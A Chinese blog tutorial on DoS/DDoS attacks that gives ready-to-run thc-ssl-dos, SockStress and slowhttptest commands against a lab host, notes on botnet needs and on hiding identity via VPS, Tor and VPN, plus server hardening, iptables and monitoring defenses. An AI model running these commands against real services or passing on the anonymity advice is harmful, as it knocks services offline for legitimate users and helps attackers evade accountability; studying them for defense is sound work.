DoS/DDoS攻击技术详解：从TCP洪水到慢速攻击的完整实战

PyHaVolask2026-01-07 21:31

前言

拒绝服务攻击(DoS)和分布式拒绝服务攻击(DDoS)是网络安全领域最常见也最难防御的攻击手段之一。与传统的入侵攻击不同，DoS攻击的目标不是获取系统权限或窃取数据，而是让目标服务无法正常提供服务。本文将深入探讨多种DoS攻击技术，包括SSL洪水攻击、TCP连接耗尽攻击以及慢速HTTP攻击等。

重要提醒: 本文内容仅供授权安全测试和教育研究。未经授权对任何系统发起DoS攻击属于严重违法行为，可能面临刑事责任。

文章目录

  • 前言
  • 一、DoS与DDoS基础理论
    • [1.1 核心概念](#1.1 核心概念)
    • [1.2 攻击原理分类](#1.2 攻击原理分类)
    • [1.3 TCP三次握手原理](#1.3 TCP三次握手原理)
    • [1.4 当前防御现状](#1.4 当前防御现状)
  • 二、实验环境准备
    • [2.1 ParrotOS介绍](#2.1 ParrotOS介绍)
    • [2.2 实验环境配置](#2.2 实验环境配置)
  • 三、SSL/TLS洪水攻击
    • [3.1 攻击原理](#3.1 攻击原理)
    • [3.2 THC-SSL-DOS攻击](#3.2 THC-SSL-DOS攻击)
  • 四、TCP连接耗尽攻击
    • [4.1 SockStress攻击原理](#4.1 SockStress攻击原理)
    • [4.2 Python-SockStress工具](#4.2 Python-SockStress工具)
    • [4.3 故障排除](#4.3 故障排除)
  • [五、慢速HTTP攻击(Slow Attack)](#五、慢速HTTP攻击(Slow Attack))
    • [5.1 慢速攻击原理](#5.1 慢速攻击原理)
    • [5.2 SlowHTTPTest工具](#5.2 SlowHTTPTest工具)
    • [5.3 Slow POST攻击(RUDY)](#5.3 Slow POST攻击(RUDY))
    • [5.4 停止攻击](#5.4 停止攻击)
    • [5.5 查看工具帮助](#5.5 查看工具帮助)
  • 六、攻击效果分析
    • [6.1 不同攻击对比](#6.1 不同攻击对比)
    • [6.2 虚拟机测试的局限性](#6.2 虚拟机测试的局限性)
    • [6.3 实战效果要素](#6.3 实战效果要素)
  • 七、防御策略
    • [7.1 基础防护措施](#7.1 基础防护措施)
    • [7.2 专业防护方案](#7.2 专业防护方案)
    • [7.3 应急响应](#7.3 应急响应)
  • 八、法律与伦理
    • [8.1 法律风险](#8.1 法律风险)
    • [8.2 伦理考量](#8.2 伦理考量)
    • [8.3 使用VPS作为主控台](#8.3 使用VPS作为主控台)
  • 九、学习建议
    • [9.1 实验环境搭建](#9.1 实验环境搭建)
    • [9.2 学习路径](#9.2 学习路径)
    • [9.3 职业方向](#9.3 职业方向)
  • 总结

一、DoS与DDoS基础理论

1.1 核心概念

DoS (Denial of Service - 拒绝服务攻击)

  • 单一攻击源对目标发起攻击
  • 通过消耗目标资源使其无法响应合法请求
  • 攻击源容易被识别和封禁

DDoS (Distributed Denial of Service - 分布式拒绝服务攻击)

  • 利用大量被控制的"肉鸡"(僵尸主机)同时发起攻击
  • 攻击流量来自全球各地，难以追踪和封禁
  • 攻击效果远超单机DoS

1.2 攻击原理分类

资源耗尽型:

  • 带宽耗尽: 发送大量数据包占满网络带宽
  • 连接耗尽: 建立大量连接消耗服务器连接池
  • CPU耗尽: 触发复杂计算消耗处理器资源
  • 内存耗尽: 创建大量对象占满内存

协议漏洞型:

  • TCP三次握手漏洞: SYN Flood攻击
  • HTTP协议特性: 慢速攻击(Slowloris)
  • SSL/TLS握手: SSL Renegotiation攻击
  • DNS放大: 利用DNS响应放大攻击流量

1.3 TCP三次握手原理

理解TCP三次握手是掌握DoS攻击的基础：

复制代码 
客户端                    服务器
  |                         |
  |----SYN (seq=x)--------->| 1. 客户端发送连接请求
  |                         |
  |<---SYN-ACK (seq=y)------| 2. 服务器响应并分配资源
  |    (ack=x+1)            |
  |                         |
  |----ACK (ack=y+1)------->| 3. 客户端确认,连接建立
  |                         |

DoS攻击利用点:

  • 服务器在第2步后会分配资源等待第3步
  • 如果第3步不到达，资源会被占用直到超时
  • 大量半开连接会耗尽服务器的连接队列

1.4 当前防御现状

DDoS攻击目前无完美解决方案

防御主要依靠:

  1. 大带宽: 云服务商提供海量带宽
  2. CDN: 内容分发网络分散流量
  3. 清洗中心: 专业DDoS防护服务
  4. 高防IP: 具备流量清洗能力的IP
  5. 流量限制: 智能识别和阻断异常流量

成本考量:

  • 小型网站防御成本高昂
  • 大公司"用钱砸"解决问题
  • 攻防是经济对抗战

CDN的影响:

如果目标网站使用CDN，攻击打到的是CDN节点而非源服务器，效果会大打折扣。

二、实验环境准备

2.1 ParrotOS介绍

ParrotOS vs Kali Linux

特性 ParrotOS Kali Linux
工具完整性 ★★★★★ ★★★★★
系统轻量化 ★★★★★ ★★★☆☆
隐私保护 ★★★★★ ★★★☆☆
开发工具 ★★★★★ ★★★★☆
官方维护 社区主导 Offensive

ParrotOS优势:

  • 基于Debian，比Kali更轻量
  • 包含Kali的大部分工具
  • 额外包含隐私保护和开发工具
  • 不包含Metasploit(需单独安装)
  • 适合日常使用和渗透测试

推荐版本:

  • Parrot Security: 完整安全版
  • Parrot Home: 日常使用版

2.2 实验环境配置

基础环境:

  • 攻击机: ParrotOS或Kali Linux
  • 目标机: Windows 10 (192.168.87.150)
  • Web服务: Apache/IIS (80/443端口)
  • 网络: 同一局域网

准备工作:

  1. 确认连通性
bash 复制代码 
ifconfig  # 查看攻击机IP
ping 192.168.87.150 -c 4  # 测试连通性
  1. 搭建测试Web服务

在目标Windows上启动Web服务(如PHPStudy)，创建简单页面:

html 复制代码 
<!DOCTYPE html>
<html>
<head>
    <title>测试页面</title>
</head>
<body>
    <h1>正常访问</h1>
</body>
</html>
  1. 打开资源监控

在目标Windows上:

  • 任务管理器 → 性能 → 监控CPU和网络
  • CMD运行: netstat -ano 查看连接状态

三、SSL/TLS洪水攻击

3.1 攻击原理

SSL握手的不对称性:

复制代码 
客户端                           服务器
  |                                |
  |--ClientHello------------------>| 1. 客户端发起(消耗低)
  |                                |
  |<-ServerHello,Certificate-------| 2. 服务器计算密钥(消耗高)
  |  ServerKeyExchange             |    - RSA解密
  |  ServerHelloDone               |    - 生成会话密钥
  |                                |
  |--ClientKeyExchange------------>| 3. 继续握手
  |  ChangeCipherSpec              |
  |  Finished                      |
  |                                |
  |<-ChangeCipherSpec--------------| 4. 完成握手
  |  Finished                      |

攻击要点:

  • 服务器处理每个SSL请求需要大量CPU资源
  • 客户端发起请求几乎不消耗资源
  • 1台客户端可以让服务器处理300次复杂计算
  • 普通带宽即可打垮高性能服务器

3.2 THC-SSL-DOS攻击

工具安装:

bash 复制代码 
apt-get update
apt-get install thc-ssl-dos

攻击命令:

bash 复制代码 
thc-ssl-dos [目标IP] [SSL端口:443] --accept

完整示例:

bash 复制代码 
# 攻击目标HTTPS网站
thc-ssl-dos 192.168.87.150 443 --accept

参数说明:

  • 目标IP: 要攻击的服务器地址
  • 443: HTTPS的默认SSL/TLS端口
  • --accept: 接受所有SSL证书(包括自签名)

效果观察:

  • 目标服务器CPU使用率飙升至100%
  • HTTPS服务响应缓慢或完全无响应
  • 合法用户无法访问网站
  • HTTP(80端口)可能仍然可访问

局限性:

  • 仅对HTTPS有效: HTTP服务不受影响
  • 内网测试效果有限: 虚拟机之间资源共享
  • CDN可能防护: 攻击会打到CDN节点

四、TCP连接耗尽攻击

4.1 SockStress攻击原理

攻击机制:

利用TCP状态机的特性，创建大量半开或保持状态的连接，耗尽服务器的:

  • 连接队列(backlog)
  • 文件描述符
  • 内存资源

与SYN Flood的区别:

  • SYN Flood: 只发SYN，不完成握手
  • SockStress: 完成握手但保持连接，不发送数据

4.2 Python-SockStress工具

环境准备:

bash 复制代码 
# 安装依赖
apt install python-scapy   # Python 2版本
apt install python3-scapy  # Python 3版本

获取工具:

bash 复制代码 
# 从GitHub下载
cd /root
git clone https://github.com/defuse/sockstress.git Python-SockStress-master
cd Python-SockStress-master

查看工具内容:

bash 复制代码 
ls -la
# 主要文件:
# sock_stress.py - 主攻击脚本
# README.md - 说明文档

执行攻击:

bash 复制代码 
# 方法1: 直接执行
./sock_stress.py 192.168.87.150 80 20

# 方法2: 指定Python版本
python2.7 sock_stress.py 192.168.87.150 80 20

参数解析:

  • 192.168.87.150: 目标IP
  • 80: 目标端口(HTTP)
  • 20: 并发线程数(可调整)

攻击效果:

bash 复制代码 
# 在目标机器查看连接状态
netstat -ano | findstr :80

# 观察现象:
# - 大量ESTABLISHED状态连接
# - 来自攻击机IP的连接数量激增
# - 正常用户连接超时

4.3 故障排除

常见问题:

  1. 缺少Scapy库
bash 复制代码 
# 错误信息: No module named scapy
# 解决方法:
apt install python-scapy python3-scapy
  1. 权限不足
bash 复制代码 
# 错误信息: Permission denied
# 解决方法:
sudo python2.7 sock_stress.py [IP] [PORT] [THREADS]
  1. 工具版本过旧
  • 部分工具需要Python 2环境
  • 某些依赖库可能需要手动安装

五、慢速HTTP攻击(Slow Attack)

5.1 慢速攻击原理

HTTP协议特性:

  • 服务器等待接收完整HTTP请求后才开始处理
  • 如果客户端发送不完整请求且速度极慢
  • 服务器会一直等待直到超时
  • 大量这样的慢速连接会耗尽并发连接池

攻击效果:

  • 不需要大带宽
  • 普通家庭网络即可实施
  • 对Apache、Tomcat等服务器特别有效
  • 类似HTTP层的SYN Flood

攻击类型:

  1. Slowloris: 慢速发送HTTP头
  2. Slow HTTP POST (RUDY): 慢速发送POST数据
  3. Slow Read: 慢速读取响应数据

5.2 SlowHTTPTest工具

安装步骤:

bash 复制代码 
# 安装依赖
apt-get install openssl
apt-get install libssl-dev

# 安装工具
apt-get install slowhttptest

验证安装:

bash 复制代码 
slowhttptest -h  # 查看帮助信息

5.3 Slow POST攻击(RUDY)

攻击命令:

bash 复制代码 
slowhttptest -c 2000 -B -g -o body_states -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.87.150 -x 10 -p 3

参数详解:

参数 说明 推荐值
-c 2000 并发连接数 1000-5000
-B 使用POST方法 必需
-g 生成统计数据 可选
-o body_states 输出文件名 自定义
-i 110 发送间隔(秒) 100-200
-r 200 每秒连接速率 100-500
-s 8192 Content-Length大小 4096-65535
-t FAKEVERB 自定义HTTP方法 GET/POST/FAKEVERB
-u URL 目标URL 必需
-x 10 最大数据长度 10-100
-p 3 等待时间(秒) 2-5

攻击流程:

  1. 建立连接: 向目标发起HTTP POST请求
  2. 声明大小: 设置Content-Length: 8192
  3. 慢速发送: 每110秒发送10字节数据
  4. 保持连接: 服务器一直等待完整数据
  5. 耗尽资源: 2000个连接占满服务器

效果监控:

在目标服务器:

cmd 复制代码 
# 查看连接状态
netstat -ano | findstr :80

# 观察现象:
# - 大量ESTABLISHED连接
# - 连接持续时间很长
# - 端口数量接近上限

攻击效果:

  • 网站加载极慢或完全无法访问
  • CPU和内存消耗相对较低(与带宽攻击不同)
  • 正常用户无法建立新连接
  • 可持续攻击直到服务器重启或手动清理

5.4 停止攻击

bash 复制代码 
# 按Ctrl+C停止
^C

# 或者关闭终端

5.5 查看工具帮助

bash 复制代码 
slowhttptest -h

重要参数说明:

复制代码 
-H: Slowloris模式(慢速头)
-B: Slow POST模式(慢速体)
-R: Range攻击模式
-X: Slow Read模式

-c: 并发连接数
-i: 数据发送间隔
-l: 攻击持续时间
-r: 每秒连接速率
-s: Content-Length大小
-u: 目标URL

六、攻击效果分析

6.1 不同攻击对比

攻击类型 带宽消耗 CPU消耗 连接数 隐蔽性 防御难度
UDP Flood 极高 低 无状态 低 中
SYN Flood 中 中 大量半开 中 中
SSL-DOS 低 极高 中 中 高
SockStress 低 低 大量保持 高 高
Slow Attack 极低 极低 中等保持 极高 极高

6.2 虚拟机测试的局限性

为什么虚拟机测试效果不明显?

  1. 资源共享: 虚拟机共享宿主机的CPU和内存
  2. 网络环境: 虚拟网络延迟极低，无法模拟真实网络
  3. 规模限制: 单机无法模拟DDoS的分布式特性
  4. 防护缺失: 虚拟环境通常没有防护设备

真实场景差异:

  • 外网环境中，肉鸡数量决定攻击效果
  • 大规模DDoS可以打垮任何未防护的服务器
  • 带宽、连接数、计算资源都会成为瓶颈

6.3 实战效果要素

成功实施DDoS需要:

  1. 足够的肉鸡:

    • 数量: 几百到几十万不等
    • 分布: 全球各地，避免单一来源
    • 带宽: 每台肉鸡带宽累加

  2. 合适的目标:

    • 无CDN保护
    • 无专业DDoS防护
    • 带宽和连接数有限

  3. 正确的策略:

    • 选择目标的薄弱环节
    • 混合使用多种攻击方式
    • 避免触发自动防护

七、防御策略

7.1 基础防护措施

服务器配置优化:

bash 复制代码 
# Linux内核参数调优
# 编辑 /etc/sysctl.conf

# 增加SYN队列长度
net.ipv4.tcp_max_syn_backlog = 4096

# 启用SYN Cookies
net.ipv4.tcp_syncookies = 1

# 减少SYN-ACK重试次数
net.ipv4.tcp_synack_retries = 2

# 缩短TIME_WAIT超时时间
net.ipv4.tcp_fin_timeout = 30

# 应用配置
sysctl -p

Web服务器配置:

Apache限制:

apache 复制代码 
# 限制每个IP的并发连接
<IfModule mod_evasive.c>
    DOSHashTableSize 3097
    DOSPageCount 5
    DOSSiteCount 100
    DOSPageInterval 1
    DOSSiteInterval 1
    DOSBlockingPeriod 10
</IfModule>

Nginx限制:

nginx 复制代码 
# 限制请求速率
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;

# 应用限制
location / {
    limit_req zone=one burst=20;
}

7.2 专业防护方案

1. CDN + DDoS清洗

  • 隐藏源站IP
  • 分散攻击流量
  • 智能流量清洗

2. 高防IP

  • 专业清洗中心
  • 海量带宽储备
  • 实时流量分析

3. 云防护服务

  • AWS Shield
  • Cloudflare DDoS Protection
  • 阿里云DDoS高防

4. 硬件防护设备

  • 防火墙过滤
  • 流量清洗设备
  • 入侵防御系统(IPS)

7.3 应急响应

检测异常流量:

bash 复制代码 
# 查看连接状态统计
netstat -nat | awk '{print $6}' | sort | uniq -c | sort -rn

# 查看连接最多的IP
netstat -nat | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

# 实时监控新建连接
watch -n 1 'netstat -nat | grep :80 | wc -l'

临时封禁措施:

bash 复制代码 
# 封禁单个IP
iptables -A INPUT -s [攻击IP] -j DROP

# 封禁IP段
iptables -A INPUT -s 192.168.1.0/24 -j DROP

# 限制连接速率
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP

八、法律与伦理

8.1 法律风险

DoS/DDoS攻击的法律定性:

  • 《刑法》第286条: 破坏计算机信息系统罪
  • 最高刑期: 15年有期徒刑
  • 附加处罚: 罚金、赔偿损失

真实案例:

  • 2016年Mirai僵尸网络案: 主犯判刑2.5年
  • 多起"黑客"攻击赌博网站被捕案例
  • 即使攻击非法网站，攻击行为本身仍违法

8.2 伦理考量

不应该进行的攻击:

  • 未经授权的任何真实系统
  • 教育、医疗、政府等关键基础设施
  • 商业竞争对手的网站
  • 个人报复性攻击

合法测试场景:

  • 企业授权的压力测试
  • 自己搭建的测试环境
  • 在线靶场平台(如HackTheBox)
  • 安全产品开发测试

8.3 使用VPS作为主控台

为什么需要VPS?

  1. 隔离真实身份: 避免直接从个人电脑发起攻击
  2. 提高带宽: VPS通常有更大带宽
  3. 分散风险: 即使被溯源也不直接指向个人
  4. 多层跳板: 可以构建多级代理

注意事项:

  • VPS供应商会记录日志
  • 支付信息可能泄露身份
  • 使用Tor、VPN等匿名技术
  • 即使有保护措施，专业溯源仍能找到真实攻击者

九、学习建议

9.1 实验环境搭建

推荐配置:

复制代码 
攻击机: ParrotOS (2核4G内存)
目标机: Windows Server 2019 (2核2G内存)
Web服务: Apache 2.4 / Nginx
网络: 独立虚拟网络(避免影响宿主机)

靶场推荐:

  • DVWA: Web应用漏洞靶场
  • VulnHub: 各种漏洞虚拟机
  • HackTheBox: 在线渗透测试平台
  • TryHackMe: 适合初学者的在线平台

9.2 学习路径

基础阶段(1-2个月):

  • 理解TCP/IP协议栈
  • 学习网络抓包分析(Wireshark)
  • 掌握Linux基础命令

进阶阶段(3-6个月):

  • 深入研究各类DoS攻击原理
  • 学习防御技术和检测方法
  • 实践流量分析和应急响应

高级阶段(6个月以上):

  • 研究最新DDoS技术(如HTTP/2 Flood)
  • 学习僵尸网络构建原理
  • 掌握企业级防护方案

9.3 职业方向

安全测试:

  • 压力测试工程师
  • 红队成员
  • 安全研究员

防御运维:

  • DDoS防护工程师
  • 网络安全架构师
  • SOC分析师

产品开发:

  • 安全产品开发
  • 流量清洗系统
  • 威胁情报分析

总结

本文系统介绍了DoS/DDoS攻击的基础理论和实战技术，涵盖SSL洪水攻击、TCP连接耗尽攻击和慢速HTTP攻击三大类型。每种攻击都有其独特的原理和适用场景，防御难度也各不相同。

核心要点:

  1. DDoS攻击目前无完美解决方案 - 防御主要靠资金投入
  2. 慢速攻击最难防御 - 低带宽高效果，隐蔽性强
  3. 虚拟机测试有局限 - 真实效果需要外网环境
  4. CDN可有效防护 - 但增加了运营成本
  5. 攻击属于违法行为 - 即使目标是非法网站

安全意识:

  • 理解攻击原理是为了更好防御
  • 任何未授权攻击都是违法的
  • 合法测试必须有书面授权
  • 学习技术要有正确的价值观

下一篇文章将继续深入探讨Slowloris攻击的详细机制以及其他高级DoS技术，敬请期待。

免责声明: 本文技术内容仅供授权安全测试、教育研究和防御体系建设使用。未经授权对任何系统发起DoS/DDoS攻击属于严重违法行为，可能面临刑事责任和高额赔偿。请在合法合规的前提下学习和使用相关技术。

相关推荐
王火火（DDoS CC防护）1 个月前
服务器隐藏源IP要如何操作呢？
服务器·ddos攻击
王火火（DDoS CC防护）2 个月前
游戏盾是如何保障游戏安全稳定的？
游戏·网络安全·ddos攻击·sdk游戏盾
王火火（DDoS CC防护）2 个月前
如何判断服务器是否遭受攻击？
服务器·web安全·网络安全·ddos攻击
王火火（DDoS CC防护）4 个月前
服务器IP暴露被攻击了怎么办？
服务器·网络安全·ddos攻击
王火火（DDoS CC防护）5 个月前
DDoS安全防护是什么？六点讲透
网络安全·ddos防御·ddos攻击
2301_780789669 个月前
DDoS防御发展史
web安全·网络安全·ddos攻击
wanhengwangluo1 年前
DDOS攻击会对网站服务器造成哪些影响？
网络攻击·ddos攻击
渔倒到1 年前
网络安全之不同阶段攻防手段（四）
网络·安全·web安全·ddos攻击·横移
冰.封万里2 年前
构建高效的数字风控系统：应对现代网络威胁的策略与实践
网络·安全·ddos攻击·企业风控系统·互联网反欺诈·sql注入攻击·恶意软件和病毒攻击
热门推荐
01GitHub 镜像站点02安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口（持续更新）03Linux下V2Ray安装配置指南04Labelme从安装到标注：零基础完整指南05手把手教你通过Gemini3 pro 学生认证，白用一年，手慢无！06【踩坑笔记】50系显卡适配的 PyTorch 安装07jdk21下载、安装（Windows、Linux、macOS）08GitLab 零基础入门指南：从安装到项目管理全流程09UV安装并设置国内源102025-04-03 Latex学习1——本地配置Latex + VScode环境